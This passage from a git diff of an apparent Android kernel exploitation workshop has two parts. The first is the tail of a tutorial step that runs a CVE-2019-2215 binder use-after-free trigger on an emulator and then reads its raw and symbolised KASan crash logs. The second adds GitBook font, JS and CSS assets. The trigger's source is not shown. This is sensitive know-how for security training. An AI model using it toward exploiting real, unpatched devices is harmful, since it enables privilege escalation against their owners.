/data/local/tmp -generic_x86_64:/data/local/tmp $ ./cve-2019-2215-trigger -generic_x86_64:/data/local/tmp $ -``` - -Look at the terminal window from where you launched the **emulator**, you will see the **KASan** crash log. - -``` -[ 382.398561] ================================================================== -[ 382.402796] BUG: KASAN: use-after-free in _raw_spin_lock_irqsave+0x3a/0x5d -[ 382.405929] Write of size 4 at addr ffff88804e4865c8 by task cve-2019-2215-t/7682 -[ 382.409386] -[ 382.410127] CPU: 1 PID: 7682 Comm: cve-2019-2215-t Tainted: G W 4.14.150+ #1 -[ 382.413871] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org 04/01/2014 -[ 382.417931] Call Trace: -[ 382.419106] dump_stack+0x78/0xbe -[ 382.420596] print_address_description+0x81/0x25d -[ 382.422146] ? _raw_spin_lock_irqsave+0x3a/0x5d -[ 382.423691] __kasan_report+0x14f/0x180 -[ 382.425082] ? _raw_spin_lock_irqsave+0x3a/0x5d -[ 382.426437] kasan_report+0x26/0x49 -[ 382.427468] check_memory_region+0x171/0x17e -[ 382.428725] kasan_check_write+0x14/0x16 -[ 382.429884] _raw_spin_lock_irqsave+0x3a/0x5d -[ 382.431010] remove_wait_queue+0x27/0x122 -[ 382.432003] ? fsnotify_unmount_inodes+0x1e8/0x1e8 -[ 382.433156] ep_unregister_pollwait+0x160/0x1bd -[ 382.434252] ep_free+0x8b/0x181 -[ 382.435024] ? ep_eventpoll_poll+0x228/0x228 -[ 382.435953] ep_eventpoll_release+0x48/0x54 -[ 382.436825] __fput+0x1f2/0x51d -[ 382.437483] ____fput+0x15/0x18 -[ 382.438145] task_work_run+0x127/0x154 -[ 382.438932] do_exit+0x818/0x2384 -[ 382.439642] ? mm_update_next_owner+0x52f/0x52f -[ 382.440555] do_group_exit+0x12c/0x24b -[ 382.441247] ? do_group_exit+0x24b/0x24b -[ 382.441964] SYSC_exit_group+0x17/0x17 -[ 382.442652] SyS_exit_group+0x14/0x14 -[ 382.443264] do_syscall_64+0x19e/0x225 -[ 382.443920] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 -[ 382.444784] RIP: 0033:0x4047d7 -[ 382.445341] RSP: 002b:00007ffe9760fe18 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7 -[ 382.446661] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00000000004047d7 -[ 382.447904] RDX: 0000000000000002 RSI: 0000000000001000 RDI: 0000000000000000 -[ 382.449190] RBP: 0000000000000000 R08: 0000000000482335 R09: 0000000000000000 -[ 382.450517] R10: 00007ffe9760fe10 R11: 0000000000000246 R12: 0000000000400190 -[ 382.451889] R13: 00000000004a4618 R14: 00000000004002e0 R15: 00007ffe9760fee0 -[ 382.453146] -[ 382.453427] Allocated by task 7682: -[ 382.454054] save_stack_trace+0x16/0x18 -[ 382.454738] __kasan_kmalloc+0x133/0x1cc -[ 382.455445] kasan_kmalloc+0x9/0xb -[ 382.456063] kmem_cache_alloc_trace+0x1bd/0x26f -[ 382.456869] binder_get_thread+0x166/0x6db -[ 382.457605] binder_poll+0x4c/0x1c2 -[ 382.458235] SyS_epoll_ctl+0x1558/0x24f0 -[ 382.458910] do_syscall_64+0x19e/0x225 -[ 382.459598] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 -[ 382.460525] 0xffffffffffffffff -[ 382.461085] -[ 382.461334] Freed by task 7682: -[ 382.461762] save_stack_trace+0x16/0x18 -[ 382.462222] __kasan_slab_free+0x18f/0x23f -[ 382.462711] kasan_slab_free+0xe/0x10 -[ 382.463149] kfree+0x193/0x5b3 -[ 382.463538] binder_thread_dec_tmpref+0x192/0x1d9 -[ 382.464095] binder_thread_release+0x464/0x4bd -[ 382.464623] binder_ioctl+0x48a/0x101c -[ 382.465071] do_vfs_ioctl+0x608/0x106a -[ 382.465518] SyS_ioctl+0x75/0xa4 -[ 382.465906] do_syscall_64+0x19e/0x225 -[ 382.466358] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 -[ 382.466953] 0xffffffffffffffff -[ 382.467335] -[ 382.467783] The buggy address belongs to the object at ffff88804e486528 -[ 382.467783] which belongs to the cache kmalloc-512 of size 512 -[ 382.469983] The buggy address is located 160 bytes inside of -[ 382.469983] 512-byte region [ffff88804e486528, ffff88804e486728) -[ 382.472065] The buggy address belongs to the page: -[ 382.472915] page:ffffea0001392100 count:1 mapcount:0 mapping: (null) index:0xffff88804e4872a8 compound_mapcount: 0 -[ 382.474871] flags: 0x4000000000010200(slab|head) -[ 382.475744] raw: 4000000000010200 0000000000000000 ffff88804e4872a8 000000010012000e -[ 382.476960] raw: ffffea00015fb220 ffff88805ac01650 ffff88805ac0cf40 0000000000000000 -[ 382.478072] page dumped because: kasan: bad access detected -[ 382.478784] -[ 382.478973] Memory state around the buggy address: -[ 382.479571] ffff88804e486480: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc -[ 382.480479] ffff88804e486500: fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb fb -[ 382.481318] >ffff88804e486580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb -[ 382.482155] ^ -[ 382.482806] ffff88804e486600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb -[ 382.483648] ffff88804e486680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb -[ 382.484485] ================================================================== -``` - -Few things to note from the crash log: - -* This is a `Use after Free` vulnerability -* Crashed while writing **4 bytes** in the dangling chunk -* The dangling chunk belong to `kmalloc-512` cache - - -## KASan Symbolizer {#kasan-symbolizer} - -The above crash log is not very intuitive. We can symbolize the stack traces using [`kasan_symbolize.py`](https://github.com/google/sanitizers/blob/master/address-sanitizer/tools/kasan_symbolize.py). - -```bash -ashfaq@hacksys:/tmp$ cat report.txt | python kasan_symbolize.py --linux=~/workshop/android-4.14-dev/out/kasan/ --strip=/home/ashfaq/workshop/android-4.14-dev/goldfish/ -``` -``` -================================================================== -BUG: KASAN: use-after-free in[< inline >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57 -BUG: KASAN: use-after-free in[< inline >] queued_spin_lock include/asm-generic/qspinlock.h:87 -BUG: KASAN: use-after-free in[< inline >] do_raw_spin_lock_flags include/linux/spinlock.h:173 -BUG: KASAN: use-after-free in[< inline >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119 -BUG: KASAN: use-after-free in[< none >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160 -Write of size 4 at addr ffff88804e4865c8 by task cve-2019-2215-t/7682 - -CPU: 1 PID: 7682 Comm: cve-2019-2215-t Tainted: G W 4.14.150+ #1 -Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org 04/01/2014 -Call Trace: -[< inline >] __dump_stack lib/dump_stack.c:17 -[< none >] dump_stack+0x78/0xbe lib/dump_stack.c:53 -[< none >] print_address_description+0x81/0x25d mm/kasan/report.c:187 - ?[< inline >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57 - ?[< inline >] queued_spin_lock include/asm-generic/qspinlock.h:87 - ?[< inline >] do_raw_spin_lock_flags include/linux/spinlock.h:173 - ?[< inline >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119 - ?[< none >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160 -[< none >] __kasan_report+0x14f/0x180 mm/kasan/report.c:316 - ?[< inline >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57 - ?[< inline >] queued_spin_lock include/asm-generic/qspinlock.h:87 - ?[< inline >] do_raw_spin_lock_flags include/linux/spinlock.h:173 - ?[< inline >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119 - ?[< none >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160 -[< none >] kasan_report+0x26/0x49 mm/kasan/common.c:626 -[< inline >] check_memory_region_inline mm/kasan/generic.c:182 -[< none >] check_memory_region+0x171/0x17e mm/kasan/generic.c:191 -[< none >] kasan_check_write+0x14/0x16 mm/kasan/common.c:106 -[< inline >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57 -[< inline >] queued_spin_lock include/asm-generic/qspinlock.h:87 -[< inline >] do_raw_spin_lock_flags include/linux/spinlock.h:173 -[< inline >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119 -[< none >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160 -[< none >] remove_wait_queue+0x27/0x122 kernel/sched/wait.c:50 - ?[< none >] fsnotify_unmount_inodes+0x1e8/0x1e8 fs/notify/fsnotify.c:99 -[< inline >] ep_remove_wait_queue fs/eventpoll.c:612 -[< none >] ep_unregister_pollwait+0x160/0x1bd fs/eventpoll.c:630 -[< none >] ep_free+0x8b/0x181 fs/eventpoll.c:847 - ?[< none >] ep_eventpoll_poll+0x228/0x228 fs/eventpoll.c:942 -[< none >] ep_eventpoll_release+0x48/0x54 fs/eventpoll.c:879 -[< none >] __fput+0x1f2/0x51d fs/file_table.c:210 -[< none >] ____fput+0x15/0x18 fs/file_table.c:244 -[< none >] task_work_run+0x127/0x154 kernel/task_work.c:113 -[< inline >] exit_task_work include/linux/task_work.h:22 -[< none >] do_exit+0x818/0x2384 kernel/exit.c:875 - ?[< none >] mm_update_next_owner+0x52f/0x52f kernel/exit.c:468 -[< none >] do_group_exit+0x12c/0x24b kernel/exit.c:978 - ?[< inline >] spin_unlock_irq include/linux/spinlock.h:367 - ?[< none >] do_group_exit+0x24b/0x24b kernel/exit.c:975 -[< none >] SYSC_exit_group+0x17/0x17 kernel/exit.c:989 -[< none >] SyS_exit_group+0x14/0x14 kernel/exit.c:987 -[< none >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292 -[< none >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233 -RIP: 0033:0x4047d7 -RSP: 002b:00007ffe9760fe18 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7 -RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00000000004047d7 -RDX: 0000000000000002 RSI: 0000000000001000 RDI: 0000000000000000 -RBP: 0000000000000000 R08: 0000000000482335 R09: 0000000000000000 -R10: 00007ffe9760fe10 R11: 0000000000000246 R12: 0000000000400190 -R13: 00000000004a4618 R14: 00000000004002e0 R15: 00007ffe9760fee0 - -Allocated by task 7682: -[< none >] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59 -[< inline >] save_stack mm/kasan/common.c:76 -[< inline >] set_track mm/kasan/common.c:85 -[< none >] __kasan_kmalloc+0x133/0x1cc mm/kasan/common.c:501 -[< none >] kasan_kmalloc+0x9/0xb mm/kasan/common.c:515 -[< none >] kmem_cache_alloc_trace+0x1bd/0x26f mm/slub.c:2819 -[< inline >] kmalloc include/linux/slab.h:488 -[< inline >] kzalloc include/linux/slab.h:661 -[< none >] binder_get_thread+0x166/0x6db drivers/android/binder.c:4677 -[< none >] binder_poll+0x4c/0x1c2 drivers/android/binder.c:4805 -[< inline >] ep_item_poll fs/eventpoll.c:888 -[< inline >] ep_insert fs/eventpoll.c:1476 -[< inline >] SYSC_epoll_ctl fs/eventpoll.c:2128 -[< none >] SyS_epoll_ctl+0x1558/0x24f0 fs/eventpoll.c:2014 -[< none >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292 -[< none >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233 - 0xffffffffffffffff - -Freed by task 7682: -[< none >] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59 -[< inline >] save_stack mm/kasan/common.c:76 -[< inline >] set_track mm/kasan/common.c:85 -[< none >] __kasan_slab_free+0x18f/0x23f mm/kasan/common.c:463 -[< none >] kasan_slab_free+0xe/0x10 mm/kasan/common.c:471 -[< inline >] slab_free_hook mm/slub.c:1407 -[< inline >] slab_free_freelist_hook mm/slub.c:1458 -[< inline >] slab_free mm/slub.c:3039 -[< none >] kfree+0x193/0x5b3 mm/slub.c:3976 -[< inline >] binder_free_thread drivers/android/binder.c:4705 -[< none >] binder_thread_dec_tmpref+0x192/0x1d9 drivers/android/binder.c:2053 -[< none >] binder_thread_release+0x464/0x4bd drivers/android/binder.c:4794 -[< none >] binder_ioctl+0x48a/0x101c drivers/android/binder.c:5062 -[< none >] do_vfs_ioctl+0x608/0x106a fs/ioctl.c:46 -[< inline >] SYSC_ioctl fs/ioctl.c:701 -[< none >] SyS_ioctl+0x75/0xa4 fs/ioctl.c:692 -[< none >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292 -[< none >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233 - 0xffffffffffffffff - -The buggy address belongs to the object at ffff88804e486528 - which belongs to the cache kmalloc-512 of size 512 -The buggy address is located 160 bytes inside of - 512-byte region [ffff88804e486528, ffff88804e486728) -The buggy address belongs to the page: -page:ffffea0001392100 count:1 mapcount:0 mapping: (null) index:0xffff88804e4872a8 compound_mapcount: 0 -flags: 0x4000000000010200(slab|head) -raw: 4000000000010200 0000000000000000 ffff88804e4872a8 000000010012000e -raw: ffffea00015fb220 ffff88805ac01650 ffff88805ac0cf40 0000000000000000 -page dumped because: kasan: bad access detected - -Memory state around the buggy address: - ffff88804e486480: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc - ffff88804e486500: fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb fb ->ffff88804e486580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb - ^ - ffff88804e486600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb - ffff88804e486680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb -================================================================== -``` - -Isn't this more useful than the previous crash log. diff --git a/gitbook/fonts/fontawesome/FontAwesome.otf b/gitbook/fonts/fontawesome/FontAwesome.otf new file mode 100644 index 0000000..d4de13e Binary files /dev/null and b/gitbook/fonts/fontawesome/FontAwesome.otf differ diff --git a/gitbook/fonts/fontawesome/fontawesome-webfont.eot b/gitbook/fonts/fontawesome/fontawesome-webfont.eot new file mode 100644 index 0000000..c7b00d2 Binary files /dev/null and b/gitbook/fonts/fontawesome/fontawesome-webfont.eot differ diff --git a/gitbook/fonts/fontawesome/fontawesome-webfont.svg b/gitbook/fonts/fontawesome/fontawesome-webfont.svg new file mode 100644 index 0000000..8b66187 --- /dev/null +++ b/gitbook/fonts/fontawesome/fontawesome-webfont.svg @@ -0,0 +1,685 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/gitbook/fonts/fontawesome/fontawesome-webfont.ttf b/gitbook/fonts/fontawesome/fontawesome-webfont.ttf new file mode 100644 index 0000000..f221e50 Binary files /dev/null and b/gitbook/fonts/fontawesome/fontawesome-webfont.ttf differ diff --git a/gitbook/fonts/fontawesome/fontawesome-webfont.woff b/gitbook/fonts/fontawesome/fontawesome-webfont.woff new file mode 100644 index 0000000..6e7483c Binary files /dev/null and b/gitbook/fonts/fontawesome/fontawesome-webfont.woff differ diff --git a/gitbook/fonts/fontawesome/fontawesome-webfont.woff2 b/gitbook/fonts/fontawesome/fontawesome-webfont.woff2 new file mode 100644 index 0000000..7eb74fd Binary files /dev/null and b/gitbook/fonts/fontawesome/fontawesome-webfont.woff2 differ diff --git a/gitbook/gitbook-plugin-collapsible-chapters/collapsible-chapters.css b/gitbook/gitbook-plugin-collapsible-chapters/collapsible-chapters.css new file mode 100644 index 0000000..73170e3 --- /dev/null +++ b/gitbook/gitbook-plugin-collapsible-chapters/collapsible-chapters.css @@ -0,0 +1,28 @@ +.book .book-summary .chapter > .articles { + overflow: hidden; + max-height: 0px; +} + +.book .book-summary .chapter.expanded > .articles { + max-height: 9999px; +} + +.book .book-summary .exc-trigger { + position: absolute; + left: 12px; + top: 12px; +} + +.book .book-summary ul.summary li a, +.book .book-summary ul.summary li span { + padding-left: 30px; +} + +.book .book-summary .exc-trigger:before { + content: "\f0da"; +} + +.book .book-summary .expanded > a .exc-trigger:before, +.book .book-summary .expanded > span .exc-trigger:before { + content: "\f0d7"; +} diff --git a/gitbook/gitbook-plugin-collapsible-chapters/collapsible-chapters.js b/gitbook/gitbook-plugin-collapsible-chapters/collapsible-chapters.js new file mode 100644 index 0000000..a415d55 --- /dev/null +++ b/gitbook/gitbook-plugin-collapsible-chapters/collapsible-chapters.js @@ -0,0 +1,68 @@ +require(['gitbook', 'jQuery'], function(gitbook, $) { + var TOGGLE_CLASSNAME = 'expanded', + CHAPTER = '.chapter', + ARTICLES = '.articles', + TRIGGER_TEMPLATE = '', + LS_NAMESPACE = 'expChapters'; + var init = function () { + // adding the trigger element to each ARTICLES parent and binding the event + $(ARTICLES) + .parent(CHAPTER) + .children('a,span') + .append( + $(TRIGGER_TEMPLATE) + .on('click', function(e) { + e.preventDefault(); + e.stopPropagation(); + toggle($(e.target).closest(CHAPTER)); + }) + ); + expand(lsItem()); + //expand current selected chapter with it's parents + var activeChapter = $(CHAPTER + '.active'); + expand(activeChapter); + expand(activeChapter.parents(CHAPTER)); + + + } + var toggle = function ($chapter) { + if ($chapter.hasClass('expanded')) { + collapse($chapter); + } else { + expand($chapter); + } + } + var collapse = function ($chapter) { + if ($chapter.length && $chapter.hasClass(TOGGLE_CLASSNAME)) { + $chapter.removeClass(TOGGLE_CLASSNAME); + lsItem($chapter); + } + } + var expand = function ($chapter) { + if ($chapter.length && !$chapter.hasClass(TOGGLE_CLASSNAME)) { + $chapter.addClass(TOGGLE_CLASSNAME); + lsItem($chapter); + } + } + var lsItem = function () { + var map = JSON.parse(localStorage.getItem(LS_NAMESPACE)) || {} + if (arguments.length) { + var $chapters = arguments[0]; + $chapters.each(function (index, element) { + var level = $(this).data('level'); + var value = $(this).hasClass(TOGGLE_CLASSNAME); + map[level] = value; + }) + localStorage.setItem(LS_NAMESPACE, JSON.stringify(map)); + } else { + return $(CHAPTER).map(function(index, element){ + if (map[$(this).data('level')]) { + return this; + } + }) + } + } + gitbook.events.bind('page.change', function() { + init() + }); +}); diff --git a/gitbook/gitbook-plugin-fontsettings/fontsettings.js b/gitbook/gitbook-plugin-fontsettings/fontsettings.js new file mode 100644 index 0000000..ff7be71 --- /dev/null +++ b/gitbook/gitbook-plugin-fontsettings/fontsettings.js @@ -0,0 +1,240 @@ +require(['gitbook', 'jquery'], function(gitbook, $) { + // Configuration + var MAX_SIZE = 4, + MIN_SIZE = 0, + BUTTON_ID; + + // Current fontsettings state + var fontState; + + // Default themes + var THEMES = [ + { + config: 'white', + text: 'White', + id: 0 + }, + { + config: 'sepia', + text: 'Sepia', + id: 1 + }, + { + config: 'night', + text: 'Night', + id: 2 + } + ]; + + // Default font families + var FAMILIES = [ + { + config: 'serif', + text: 'Serif', + id: 0 + }, + { + config: 'sans', + text: 'Sans', + id: 1 + } + ]; + + // Return configured themes + function getThemes() { + return THEMES; + } + + // Modify configured themes + function setThemes(themes) { + THEMES = themes; + updateButtons(); + } + + // Return configured font families + function getFamilies() { + return FAMILIES; + } + + // Modify configured font families + function setFamilies(families) { + FAMILIES = families; + updateButtons(); + } + + // Save current font settings + function saveFontSettings() { + gitbook.storage.set('fontState', fontState); + update(); + } + + // Increase font size + function enlargeFontSize(e) { + e.preventDefault(); + if (fontState.size >= MAX_SIZE) return; + + fontState.size++; + saveFontSettings(); + } + + // Decrease font size + function reduceFontSize(e) { + e.preventDefault(); + if (fontState.size <= MIN_SIZE) return; + + fontState.size--; + saveFontSettings(); + } + + // Change font family + function changeFontFamily(configName, e) { + if (e && e instanceof Event) { + e.preventDefault(); + } + + var familyId = getFontFamilyId(configName); + fontState.family = familyId; + saveFontSettings(); + } + + // Change type of color theme + function changeColorTheme(configName, e) { + if (e && e instanceof Event) { + e.preventDefault(); + } + + var $book = gitbook.state.$book; + + // Remove currently applied color theme + if (fontState.theme !== 0) + $book.removeClass('color-theme-'+fontState.theme); + + // Set new color theme + var themeId = getThemeId(configName); + fontState.theme = themeId; + if (fontState.theme !== 0) + $book.addClass('color-theme-'+fontState.theme); + + saveFontSettings(); + } + + // Return the correct id for a font-family config key + // Default to first font-family + function getFontFamilyId(configName) { + // Search for plugin configured font family + var configFamily = $.grep(FAMILIES, function(family) { + return family.config == configName; + })[0]; + // Fallback to default font family + return (!!configFamily)? configFamily.id : 0; + } + + // Return the correct id for a theme config key + // Default to first theme + function getThemeId(configName) { + // Search for plugin configured theme + var configTheme = $.grep(THEMES, function(theme) { + return theme.config == configName; + })[0]; + // Fallback to default theme + return (!!configTheme)? configTheme.id : 0; + } + + function update() { + var $book = gitbook.state.$book; + + $('.font-settings .font-family-list li').removeClass('active'); + $('.font-settings .font-family-list li:nth-child('+(fontState.family+1)+')').addClass('active'); + + $book[0].className = $book[0].className.replace(/\bfont-\S+/g, ''); + $book.addClass('font-size-'+fontState.size); + $book.addClass('font-family-'+fontState.family); + + if(fontState.theme !== 0) { + $book[0].className = $book[0].className.replace(/\bcolor-theme-\S+/g, ''); + $book.addClass('color-theme-'+fontState.theme); + } + } + + function init(config) { + // Search for plugin configured font family + var configFamily = getFontFamilyId(config.family), + configTheme = getThemeId(config.theme); + + // Instantiate font state object + fontState = gitbook.storage.get('fontState', { + size: config.size || 2, + family: configFamily, + theme: configTheme + }); + + update(); + } + + function updateButtons() { + // Remove existing fontsettings buttons + if (!!BUTTON_ID) { + gitbook.toolbar.removeButton(BUTTON_ID); + } + + // Create buttons in toolbar + BUTTON_ID = gitbook.toolbar.createButton({ + icon: 'fa fa-font', + label: 'Font Settings', + className: 'font-settings', + dropdown: [ + [ + { + text: 'A', + className: 'font-reduce', + onClick: reduceFontSize + }, + { + text: 'A', + className: 'font-enlarge', + onClick: enlargeFontSize + } + ], + $.map(FAMILIES, function(family) { + family.onClick = function(e) { + return changeFontFamily(family.config, e); + }; + + return family; + }), + $.map(THEMES, function(theme) { + theme.onClick = function(e) { + return changeColorTheme(theme.config, e); + }; + + return theme; + }) + ] + }); + } + + // Init configuration at start + gitbook.events.bind('start', function(e, config) { + var opts = config.fontsettings; + + // Generate buttons at start + updateButtons(); + + // Init current settings + init(opts); + }); + + // Expose API + gitbook.fontsettings = { + enlargeFontSize: enlargeFontSize, + reduceFontSize: reduceFontSize, + setTheme: changeColorTheme, + setFamily: changeFontFamily, + getThemes: getThemes, + setThemes: setThemes, + getFamilies: getFamilies, + setFamilies: setFamilies + }; +}); + + diff --git a/gitbook/gitbook-plugin-fontsettings/website.css b/gitbook/gitbook-plugin-fontsettings/website.css new file mode 100644 index 0000000..26591fe --- /dev/null +++ b/gitbook/gitbook-plugin-fontsettings/website.css @@ -0,0 +1,291 @@ +/* + * Theme 1 + */ +.color-theme-1 .dropdown-menu { + background-color: #111111; + border-color: #7e888b; +} +.color-theme-1 .dropdown-menu .dropdown-caret .caret-inner { + border-bottom: 9px solid #111111; +} +.color-theme-1 .dropdown-menu .buttons { + border-color: #7e888b; +} +.color-theme-1 .dropdown-menu .button { + color: #afa790; +} +.color-theme-1 .dropdown-menu .button:hover { + color: #73553c; +} +/* + * Theme 2 + */ +.color-theme-2 .dropdown-menu { + background-color: #2d3143; + border-color: #272a3a; +} +.color-theme-2 .dropdown-menu .dropdown-caret .caret-inner { + border-bottom: 9px solid #2d3143; +} +.color-theme-2 .dropdown-menu .buttons { + border-color: #272a3a; +} +.color-theme-2 .dropdown-menu .button { + color: #62677f; +} +.color-theme-2 .dropdown-menu .button:hover { + color: #f4f4f5; +} +.book .book-header .font-settings .font-enlarge { + line-height: 30px; + font-size: 1.4em; +} +.book .book-header .font-settings .font-reduce { + line-height: 30px; + font-size: 1em; +} +.book.color-theme-1 .book-body { + color: #704214; + background: #f3eacb; +} +.book.color-theme-1 .book-body .page-wrapper .page-inner section { + background: #f3eacb; +} +.book.color-theme-2 .book-body { + color: #bdcadb; + background: #1c1f2b; +} +.book.color-theme-2 .book-body .page-wrapper .page-inner section { + background: #1c1f2b; +} +.book.font-size-0 .book-body .page-inner section { + font-size: 1.2rem; +} +.book.font-size-1 .book-body .page-inner section { + font-size: 1.4rem; +} +.book.font-size-2 .book-body .page-inner section { + font-size: 1.6rem; +} +.book.font-size-3 .book-body .page-inner section { + font-size: 2.2rem; +} +.book.font-size-4 .book-body .page-inner section { + font-size: 4rem; +} +.book.font-family-0 { + font-family: Georgia, serif; +} +.book.font-family-1 { + font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; +} +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal { + color: #704214; +} +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal a { + color: inherit; +} +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h1, +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h2, +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h3, +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h4, +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h5, +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h6 { + color: inherit; +} +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h1, +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h2 { + border-color: inherit; +} +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h6 { + color: inherit; +} +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal hr { + background-color: inherit; +} +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal blockquote { + border-color: inherit; +} +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal pre, +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal code { + background: #fdf6e3; + color: #657b83; + border-color: #f8df9c; +} +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal .highlight { + background-color: inherit; +} +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal table th, +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal table td { + border-color: #f5d06c; +} +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal table tr { + color: inherit; + background-color: #fdf6e3; + border-color: #444444; +} +.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal table tr:nth-child(2n) { + background-color: #fbeecb; +} +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal { + color: #bdcadb; +} +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal a { + color: #3eb1d0; +} +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h1, +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h2, +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h3, +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h4, +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h5, +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h6 { + color: #fffffa; +} +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h1, +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h2 { + border-color: #373b4e; +} +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h6 { + color: #373b4e; +} +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal hr { + background-color: #373b4e; +} +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal blockquote { + border-color: #373b4e; +} +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal pre, +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal code { + color: #9dbed8; + background: #2d3143; + border-color: #2d3143; +} +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal .highlight { + background-color: #282a39; +} +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal table th, +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal table td { + border-color: #3b3f54; +} +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal table tr { + color: #b6c2d2; + background-color: #2d3143; + border-color: #3b3f54; +} +.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal table tr:nth-child(2n) { + background-color: #35394b; +} +.book.color-theme-1 .book-header { + color: #afa790; + background: transparent; +} +.book.color-theme-1 .book-header .btn { + color: #afa790; +} +.book.color-theme-1 .book-header .btn:hover { + color: #73553c; + background: none; +} +.book.color-theme-1 .book-header h1 { + color: #704214; +} +.book.color-theme-2 .book-header { + color: #7e888b; + background: transparent; +} +.book.color-theme-2 .book-header .btn { + color: #3b3f54; +} +.book.color-theme-2 